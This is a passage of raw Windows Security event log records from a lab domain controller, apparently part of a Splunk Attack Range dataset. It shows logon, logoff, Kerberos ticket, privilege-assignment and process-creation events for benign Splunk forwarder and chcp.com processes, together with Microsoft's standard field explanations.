The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250405
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{17F20083-7027-6012-0E65-C3D323582E2E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250404
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{17F20083-7027-6012-0E65-C3D323582E2E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250403
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250402
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250401
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109E39

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250400
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x109E39
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64442

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250399
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109E39

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250398
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109DD8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250397
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x109DD8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64441

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250396
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109DD8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250395
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109D72

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250394
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x109D72
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64440

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250393
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109D72

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250392
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109D11

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250391
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x109D11
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64439

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250390
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109D11

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250389
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109999

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250388
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109999
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{17F20083-7027-6012-0E65-C3D323582E2E}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250387
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{17F20083-7027-6012-0E65-C3D323582E2E}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250386
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{17F20083-7027-6012-0E65-C3D323582E2E}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250385
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250384
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x106c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1130
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250421
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1040
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250420
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B1E2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250419
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10B1E2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64446

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250418
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B1E2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250417
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B157

Logon Type:			3

